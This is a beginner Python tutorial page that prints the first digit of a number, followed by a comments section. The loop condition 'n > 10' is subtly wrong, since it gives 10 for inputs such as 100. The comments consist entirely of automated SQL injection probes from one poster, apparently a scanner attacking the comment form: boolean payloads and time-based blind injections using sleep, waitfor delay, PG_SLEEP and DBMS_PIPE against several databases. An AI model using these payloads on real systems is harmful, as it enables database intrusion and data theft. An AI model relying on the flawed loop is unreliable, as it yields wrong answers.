Print the first Digit of a Number using Python

Get a number and print its First Digit.

Sample Input 1:

Enter the number: 234

Sample Output 1:

2 is the first digit of 234

Program or Solution

				
				
					

num = int(input("enter a number"))

n = num

while n > 10:

    n = n // 10

print("{} is the first digit of {}".format(n,num))

Program Explanation

divide the number by 10 till number is greater than 10, once it is less than 10 then print the number. you will get the first digit.

Comments

ubaTaeCJ
-1 OR 2+134-134-1=0+0+0+1 --
ubaTaeCJ
-1 OR 3+134-134-1=0+0+0+1 --
ubaTaeCJ
-1 OR 3*2>(0+5+134-134) --
ubaTaeCJ
-1 OR 2+236-236-1=0+0+0+1
ubaTaeCJ
-1 OR 3+236-236-1=0+0+0+1
ubaTaeCJ
-1 OR 3*2<(0+5+236-236)
ubaTaeCJ
-1 OR 3*2>(0+5+236-236)
ubaTaeCJ
-1' OR 2+282-282-1=0+0+0+1 --
ubaTaeCJ
-1' OR 3+282-282-1=0+0+0+1 --
ubaTaeCJ
-1' OR 3*2<(0+5+282-282) --
ubaTaeCJ
-1' OR 3*2>(0+5+282-282) --
ubaTaeCJ
-1' OR 2+323-323-1=0+0+0+1 or 'UrM7DpSj'='
ubaTaeCJ
-1' OR 3+323-323-1=0+0+0+1 or 'UrM7DpSj'='
ubaTaeCJ
-1' OR 3*2<(0+5+323-323) or 'UrM7DpSj'='
ubaTaeCJ
-1" OR 2+375-375-1=0+0+0+1 --
ubaTaeCJ
-1" OR 3*2<(0+5+375-375) --
ubaTaeCJ
-1" OR 3*2>(0+5+375-375) --
ubaTaeCJ
if(now()=sysdate(),sleep(15),0)
ubaTaeCJ
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
ubaTaeCJ
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
ubaTaeCJ
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
ubaTaeCJ
-1; waitfor delay '0:0:15' --
ubaTaeCJ
-1); waitfor delay '0:0:3' --
ubaTaeCJ
1 waitfor delay '0:0:15' --
ubaTaeCJ
8n35Jis4'; waitfor delay '0:0:15' --
ubaTaeCJ
-5 OR 182=(SELECT 182 FROM PG_SLEEP(15))--
ubaTaeCJ
-5) OR 541=(SELECT 541 FROM PG_SLEEP(15))--
ubaTaeCJ
-1)) OR 583=(SELECT 583 FROM PG_SLEEP(15))--
ubaTaeCJ
WqHF4hDx' OR 280=(SELECT 280 FROM PG_SLEEP(15))--
ubaTaeCJ
i1HDA7wu') OR 894=(SELECT 894 FROM PG_SLEEP(15))--
ubaTaeCJ
IjXrshOu')) OR 612=(SELECT 612 FROM PG_SLEEP(15))--
ubaTaeCJ
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
ubaTaeCJ
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
ubaTaeCJ
1'"
ubaTaeCJ
@@SgKko